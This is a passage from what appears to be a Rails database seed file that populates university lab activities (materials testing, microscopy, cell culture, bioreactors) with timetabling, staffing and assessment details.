nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a474.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a475 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"230\").first_or_create!(name: \"Microstructure\",\n name_abrv: \"MICROSTRUCTURE\", archived: false, in_drive: false, user_id: 5)\n at475 = ActivityTimetable.where(activity_id: a475.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a475.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a475.id).first_or_create!(criteria: \"\",\n job_desc:\"The students will gain experience in using tensile test frames and extract mechanical properties from them such as Young’s modulus, yield stress, and ultimate strength for steels of different composition.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a475.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a475.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a475.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a476 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"231\").first_or_create!(name: \"Nylon testing\",\n name_abrv: \"NYLONTESTING\", archived: false, in_drive: false, user_id: 1)\n at476 = ActivityTimetable.where(activity_id: a476.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a476.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a476.id).first_or_create!(criteria: \"\",\n job_desc:\"This lab practical, which will run in two sessions, seeks to give you knowledge of the characteristics of polymers. The first session will show how polymers are formed and the second session will investigate their mechanical (tensile testing and hardness) and chemical properties.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a476.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a476.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a476.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a477 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2320\").first.id, code: \"232\").first_or_create!(name: \"Optical Microscopy - Metals I\",\n name_abrv: \"OMMETALS1\", archived: false, in_drive: false, user_id: 3)\n at477 = ActivityTimetable.where(activity_id: a477.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a477.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a477.id).first_or_create!(criteria: \"\",\n job_desc:\"In these practicals the students will be looking at the microstructures of metal samples using optical microscopes.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a477.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a477.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a477.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a478 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2320\").first.id, code: \"233\").first_or_create!(name: \"Optical Microscopy - Metals II\",\n name_abrv: \"OMMETALS2\", archived: false, in_drive: false, user_id: 5)\n at478 = ActivityTimetable.where(activity_id: a478.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a478.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a478.id).first_or_create!(criteria: \"\",\n job_desc:\"In these practicals the students will be looking at the microstructures of metal samples using optical microscopes.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a478.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a478.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a478.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a479 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2320\").first.id, code: \"234\").first_or_create!(name: \"Optical Microscopy- Ceramics\",\n name_abrv: \"OMCERAMICS\", archived: false, in_drive: false, user_id: 4)\n at479 = ActivityTimetable.where(activity_id: a479.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a479.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a479.id).first_or_create!(criteria: \"\",\n job_desc:\"In these practicals the students will be looking at the microstructures of ceramics samples using optical microscopes.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a479.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a479.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a479.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a480 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR302\").first.id, code: \"235\").first_or_create!(name: \"Polymers Characterisation\",\n name_abrv: \"POLYMERCHARAC\", archived: false, in_drive: false, user_id: 2)\n at480 = ActivityTimetable.where(activity_id: a480.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a480.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a480.id).first_or_create!(criteria: \"Hands-on experience on either key polymers characterisation techniques such as DSC and FTIR and Mechanical Testing Techniques.\",\n job_desc:\"Characterisation of two unknown polymeric samples using Tensile Testing and Charpy impact testing, differential scanning calorimetry (DSC) and Fourier transform infrared (FTIR) spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a480.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a480.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a480.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a481 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR331\").first.id, code: \"235\").first_or_create!(name: \"Polymers Characterisation\",\n name_abrv: \"POLYMERCHARAC\", archived: true, in_drive: false, user_id: 5)\n at481 = ActivityTimetable.where(activity_id: a481.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a481.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a481.id).first_or_create!(criteria: \"Hands-on experience on either key polymers characterisation techniques such as DSC and FTIR and Mechanical Testing Techniques.\",\n job_desc:\"Characterisation of two unknown polymeric samples using Tensile Testing and Charpy impact testing, differential scanning calorimetry (DSC) and Fourier transform infrared (FTIR) spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a481.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a481.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a481.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a482 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2320\").first.id, code: \"236\").first_or_create!(name: \"SEM/EDX\",\n name_abrv: \"SEM/EDX\", archived: false, in_drive: false, user_id: 5)\n at482 = ActivityTimetable.where(activity_id: a482.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 4, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a482.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a482.id).first_or_create!(criteria: \"\",\n job_desc:\"During this session the students will learn basic theory and practical use of a scanning electron microscope (SEM) for topographical imaging, chemical composition analysis and mapping.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a482.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a482.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a482.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a483 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"237\").first_or_create!(name: \"Study of a Binary Eutectic Alloy of Sn and Bi\",\n name_abrv: \"Phase diagram of Sn and Bi\", archived: false, in_drive: false, user_id: 1)\n at483 = ActivityTimetable.where(activity_id: a483.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 9, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a483.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a483.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a483.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a483.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a483.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a484 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1600\").first.id, code: \"238\").first_or_create!(name: \"Wood composite\",\n name_abrv: \"WOODCOMP\", archived: false, in_drive: false, user_id: 2)\n at484 = ActivityTimetable.where(activity_id: a484.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a484.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a484.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a484.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (short report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a484.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a484.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a485 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR132\").first.id, code: \"239\").first_or_create!(name: \"Microscopy of Cast Irons\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at485 = ActivityTimetable.where(activity_id: a485.id).first_or_create!(duration: 240, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"From AMRC: Possibly hybrid with some parts of Metals 1 and Metals 2 - to be determined with lab lead and module leader.\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a485.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a485.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a485.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a485.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a485.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a486 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1610\").first.id, code: \"240\").first_or_create!(name: \"Crystal Maker II\",\n name_abrv: \"CRYS2\", archived: false, in_drive: false, user_id: 1)\n at486 = ActivityTimetable.where(activity_id: a486.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a486.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a486.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a486.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a486.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a486.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a487 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1510\").first.id, code: \"300\").first_or_create!(name: \"Histology/Microscopy\",\n name_abrv: \"HIST/MICRO\", archived: false, in_drive: false, user_id: 5)\n at487 = ActivityTimetable.where(activity_id: a487.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 10, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 180, notes: \"\",\n capacity: 50, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a487.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a487.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a487.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a487.id).first_or_create!(cost_per_student: nil, equip_needed: \"Laptops, microscopes, histology slides\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a487.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a488 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE280\").first.id, code: \"301\").first_or_create!(name: \"Antibiotic production\",\n name_abrv: \"ANTIBIOTIC\", archived: false, in_drive: false, user_id: 1)\n at488 = ActivityTimetable.where(activity_id: a488.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 6, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: nil, takedown_time: 180, notes: \"\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a488.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a488.id).first_or_create!(criteria: \"\",\n job_desc:\"Production, purification and analysis of the antibiotic Tylosin from Streptomyces fradiae. Flask cultures, chemical lysis, cholorform extraction, Bradford Assay, absorbance spectroscopy, dry biomass and OD600 measurement.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a488.id).first_or_create!(assess_weight: nil, notes: \"Type TBC\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a488.id).first_or_create!(cost_per_student: nil, equip_needed: \"tbc - shaking incubators, LEV, water baths, 40R centrifuge, Class II (for prep), absorbance plate readers, balances, spectrophotometers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a488.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a489 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE372\").first.id, code: \"302\").first_or_create!(name: \"Bioengineering Group Projects\",\n name_abrv: \"BIOGRP\", archived: false, in_drive: false, user_id: 5)\n at489 = ActivityTimetable.where(activity_id: a489.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: true, series_setup_time: 60, setup_time: nil, takedown_time: 60, notes: \"\",\n capacity: 50, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a489.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a489.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a489.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a489.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a489.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a490 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"303\").first_or_create!(name: \"Bioreactors\",\n name_abrv: \"BIOREACTORS\", archived: false, in_drive: false, user_id: 1)\n at490 = ActivityTimetable.where(activity_id: a490.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 8, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 360, takedown_time: 120, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a490.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a490.id).first_or_create!(criteria: \"Culture of microorganisms\",\n job_desc:\"Culture and analysis of E.coli using a 1 L bioreactor.\", jobshop_desc: \"claire.johnson@sheffield.ac.uk, h.drouin@sheffield.ac.uk, helen.wright@sheffield.ac.uk\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a490.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_other.id, num_assess: 40)\n ActivityTech.where(activity_id: a490.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a490.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a491 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2530\").first.id, code: \"304\").first_or_create!(name: \"Cell culture 1: Aseptic techniques\",\n name_abrv: \"ASEPTICTECH\", archived: false, in_drive: false, user_id: 4)\n at491 = ActivityTimetable.where(activity_id: a491.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 8, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: nil, takedown_time: 120, notes: \"\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a491.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a491.id).first_or_create!(criteria: \"Cell culture and aseptic technique.\",\n job_desc:\"Seeding HaCaT cells onto 3 biomaterial disks to investigate biocompatibility\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a491.id).first_or_create!(assess_weight: nil, notes: \"MOLE test\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a491.id).first_or_create!(cost_per_student: nil, equip_needed: \"Class II BSC, micropiettes, auto pipettes, bioincubators\",\n last_risk_assess: nil, next_risk_assess: Date.new(19, 9, 20), tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a491.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a492 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2530\").first.id, code: \"305\").first_or_create!(name: \"Cell culture 2: MTT Assay\",\n name_abrv: \"MTTASSAY\", archived: false, in_drive: false, user_id: 3)\n at492 = ActivityTimetable.where(activity_id: a492.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 3, max_week_num: 9, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 180, takedown_time: 90, notes: \"\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a492.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a492.id).first_or_create!(criteria: \"Cell culture and aseptic technique. Biological assays.\",\n job_desc:\"Using the MTT assay to measure metabolic activity of the cells seeded onto biomaterial disks\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a492.id).first_or_create!(assess_weight: nil, notes: \"Includes aspetic techniques\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a492.id).first_or_create!(cost_per_student: nil, equip_needed: \"Class II BSC, plate readers\",\n last_risk_assess: nil, next_risk_assess: Date.new(19, 9, 20), tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a492.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a493 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"306\").first_or_create!(name: \"DNA extraction and analysis\",\n name_abrv: \"DNAEXTRACT\", archived: false, in_drive: false, user_id: 5)\n at493 = ActivityTimetable.where(activity_id: a493.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 6, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 240, takedown_time: 60, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a493.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: 